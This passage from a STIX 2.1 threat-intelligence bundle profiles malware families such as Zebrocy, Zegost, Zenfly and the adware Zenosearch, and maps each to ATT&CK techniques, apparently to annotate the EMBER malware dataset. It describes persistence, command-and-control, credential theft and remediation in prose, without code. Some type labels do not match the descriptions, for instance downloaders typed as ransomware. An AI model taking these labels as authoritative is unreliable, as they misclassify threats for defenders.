      "description": "Zdengo exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d00c897-540d-57fa-a0b9-6abef009a71f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f3edf69-936a-5b4e-96ee-a3a07b2c8a42",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdengo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e647e848-4e71-5881-82fe-c8ee5571b6f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f3edf69-936a-5b4e-96ee-a3a07b2c8a42",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdengo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b366c0ba-534b-5732-a902-d6c5e9a19ef2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zdowbot",
      "description": "<h3>Executive Summary</h3>\nZdowbot is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and conscript the endpoint into a larger Botnet. Once infected, the \"zombie\" computer is utilized by remote threat actors to participate in coordinated Distributed Denial of Service (DDoS) attacks, generate massive volumes of spam email, or serve as a proxy for further malicious activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZdowbot is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zdowbot operates with a focus on stealth and botnet participation:\n<ul>\n<li><strong>System Reconnaissance and C2 Registration:</strong> The trojan immediately collects system information and \"registers\" the new bot with a centralized command-and-control (C2) server, usually over IRC or HTTP.\n<li><strong>Persistence:</strong> Zdowbot ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Command Execution:</strong> The infected machine sits dormant, awaiting instructions from the botmaster. Upon command, Zdowbot can launch UDP/TCP floods against target IPs, download additional payloads (acting as a loader), or harvest local email addresses to propagate further spam.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zdowbot infection represents a significant breach of the endpoint perimeter. Not only is the host's bandwidth and computing power being stolen for criminal enterprises, but the organization's IP address is highly likely to be blacklisted by external ISPs and security vendors due to the outbound malicious traffic.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections (especially IRC traffic) to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zdowbot executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Perimeter Blocking:</strong> Analyze the botnet's C2 communication and block the associated IP addresses and domains at the corporate firewall to prevent further command execution.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zdowbot",
        "Botnet.Zdowbot",
        "Win32/Zdowbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zdowbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zdowbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2238b2c-28ac-58fc-9799-f7b8713698f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b366c0ba-534b-5732-a902-d6c5e9a19ef2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdowbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c02126e-c739-52e5-8e36-07df215a676a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b366c0ba-534b-5732-a902-d6c5e9a19ef2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdowbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8fe5f24-4ef4-5d8e-9b95-fc8e91d9505e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b366c0ba-534b-5732-a902-d6c5e9a19ef2",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdowbot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be49ea65-2456-528e-9bab-32d632ddb0f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b366c0ba-534b-5732-a902-d6c5e9a19ef2",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdowbot exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6c5a69d1-a6ff-5e7e-905c-90151c67a350",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zebrocy",
      "description": "Trojan:Win32/Zebrocy (also known as Sednit or associated with Sofacy) is a highly customized, multi-language malware toolset used almost exclusively by **APT28 (Fancy Bear)**, a sophisticated threat group attributed to the Russian General Staff Main Intelligence Directorate (GRU). Zebrocy serves primarily as a downloader, reconnaissance tool, and backdoor, used to profile infected systems, steal credentials, and deploy next-stage espionage tools (like X-Agent) on high-value targets.<br><br><b>Understanding Zebrocy (APT28 Toolset)</b><br>To the victim, the infection is entirely invisible, often beginning with a highly tailored spearphishing email regarding geopolitical events. For a threat intelligence analyst, a Zebrocy detection is a critical national security incident. It indicates that the organization is actively being targeted by a top-tier Russian military intelligence unit. Zebrocy is notable for being rewritten frequently in different programming languages (Delphi, AutoIt, C++, Nim, Go, Python) to evade static detection and confuse analysts.<br><br><b>Execution and Espionage Mechanics</b><br>APT28 typically distributes Zebrocy via highly targeted spearphishing (`T1566.001`). The emails contain weaponized attachments (Office documents with macros, or LNK files within archives) (`T1204.002`). When executed, the dropper establishes persistence, often via Registry Run keys or Scheduled Tasks (`T1547.001`). The core Zebrocy module then performs extensive system profiling: it enumerates running processes, installed software, and network configuration (`T1082`, `T1057`). It actively searches for and steals credentials from web browsers, email clients (Outlook), and FTP clients (`T1555`). This reconnaissance data and the stolen credentials are exfiltrated to the C2 server (often compromised, legitimate websites) via HTTP/HTTPS POST requests (`T1041`). If the target is deemed valuable, the C2 server sends the secondary, highly persistent backdoor (X-Agent).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the devastating compromise of sensitive intelligence, diplomatic communications, or defense secrets. EDR platforms may flag the initial document dropping anomalous executables. Incident responders must look for the distinct system profiling commands (like `systeminfo`, `tasklist`) spawned rapidly in the background. Network logs will show HTTP POST requests containing encrypted, base64-encoded system profiles sent to compromised third-party domains. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zebrocy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zebrocy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3734a44-74aa-5136-9bde-1c2c315acb58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c5a69d1-a6ff-5e7e-905c-90151c67a350",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zebrocy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b1a9839-12d8-50b0-97cb-e98e5368bdcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c5a69d1-a6ff-5e7e-905c-90151c67a350",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zebrocy exhibits technique T1082 (System Information Discovery (Extensive Profiling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ebc5af5-f56c-5cfd-ac2f-d7a9c6a5828a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c5a69d1-a6ff-5e7e-905c-90151c67a350",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zebrocy exhibits technique T1555 (Credentials from Password Stores (Browser/Email theft))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62c4bc58-b695-5773-b29d-b63d390e5b18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c5a69d1-a6ff-5e7e-905c-90151c67a350",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zebrocy exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c014a29f-33de-5bbe-9b3e-5afd66f143c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c5a69d1-a6ff-5e7e-905c-90151c67a350",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zebrocy exhibits technique T1105 (Ingress Tool Transfer (Downloading X-Agent))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zegost",
      "description": "Trojan:Win32/Zegost (widely documented by threat researchers as Backdoor.Zegost or Zegost RAT) is a sophisticated cyber espionage Remote Access Trojan and rootkit platform developed and utilized by East Asian Advanced Persistent Threat (APT) groups in targeted campaigns against defense contractors, government ministries, and technology corporations. Engineered for long-term clandestine surveillance, Zegost deploys kernel-mode rootkit drivers to hide its processes, files, and network sockets from endpoint detection and response (EDR) platforms. Operating with an exhaustive espionage feature set, Zegost records keystrokes, captures screenshots, dumps credentials directly from LSASS process memory, executes interactive command shells, and exfiltrates sensitive intellectual property using heavily encrypted custom C2 protocols disguised as standard web traffic. (Observed samples in benchmark: 441)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Zegost",
        "Trojan:Win32/Zegost",
        "Backdoor.Zegost",
        "Trojan.Zegost",
        "Zegost RAT",
        "Win32/Zegost",
        "Backdoor:Win32/Zegost"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zegost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zegost"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4a3aa73-cc28-5b83-b4a5-3aaa38fddc64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zegost exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0bdf16c7-c2e8-588d-a474-813bdd713114",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zegost exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--495c3507-73fb-550b-9251-00d5978d3820",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zegost exhibits technique T1003.001 (LSASS Memory)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6869a28-7858-506a-8f86-bc5de9916a96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zegost exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39682461-e6cf-5d66-9ebb-1b5094d165d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zegost exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0a16c26-e521-5cc3-adff-9d403a9facb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zegost exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c771105a-d20f-529f-9eb1-25d9b196aae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64747243-ee47-5ac4-8992-bb4a5e62fe08",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zegost exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--89cc04ad-3cea-595a-9f54-868c034f8566",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zeleffo",
      "description": "Trojan:Win32/Zeleffo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zeleffo</b><br>To an end-user, a Zeleffo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zeleffo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zeleffo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zeleffo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zeleffo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zeleffo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zeleffo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9675498d-c18d-57fa-be60-e942dc9927ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89cc04ad-3cea-595a-9f54-868c034f8566",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeleffo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--169c065e-165f-5dc2-bbd2-c03d3a2ed4ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89cc04ad-3cea-595a-9f54-868c034f8566",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeleffo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6343f76-407e-58ce-8178-a0029db0c1ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89cc04ad-3cea-595a-9f54-868c034f8566",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeleffo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ed146eb-d192-5af9-bdbc-8f7e59dd321b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89cc04ad-3cea-595a-9f54-868c034f8566",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeleffo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--596f4101-1ce7-5621-aa7e-946c04934b11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89cc04ad-3cea-595a-9f54-868c034f8566",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeleffo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9570cf63-e56b-53d6-a726-591fca824c58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zenfly",
      "description": "<h3>Executive Summary</h3>\nZenfly is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZenfly is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zenfly operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Zenfly ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zenfly receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zenfly infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zenfly executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Zenfly frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zenfly",
        "Downloader.Zenfly",
        "Win32/Zenfly"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zenfly",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zenfly"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50732c5d-93cf-524b-a799-8d61a3aa5c2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9570cf63-e56b-53d6-a726-591fca824c58",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zenfly exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d654a403-e2d7-58d4-ac7c-7a3898096a13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9570cf63-e56b-53d6-a726-591fca824c58",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zenfly exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcdf3d18-e129-55af-b5f5-e118364d8624",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9570cf63-e56b-53d6-a726-591fca824c58",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zenfly exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e96984dd-7f16-5a49-93d2-d41b825f9fe0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zenosearch",
      "description": "<h3>Executive Summary</h3>\nZenoSearch is a prominent family of Browser Hijackers and Adware engineered to aggressively monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects highly intrusive advertisements, posing a significant threat to end-user privacy and degrading network performance within enterprise environments.\n\n<h3>Distribution and Technical Behavior</h3>\nZenoSearch is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, ZenoSearch deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> ZenoSearch alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile ZenoSearch does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the ZenoSearch executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.ZenoSearch",
        "PUP.ZenoSearch",
        "BrowserModifier:Win32/ZenoSearch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zenosearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zenosearch"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57dcd59f-8bad-56ff-a95f-d0afa99512dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e96984dd-7f16-5a49-93d2-d41b825f9fe0",
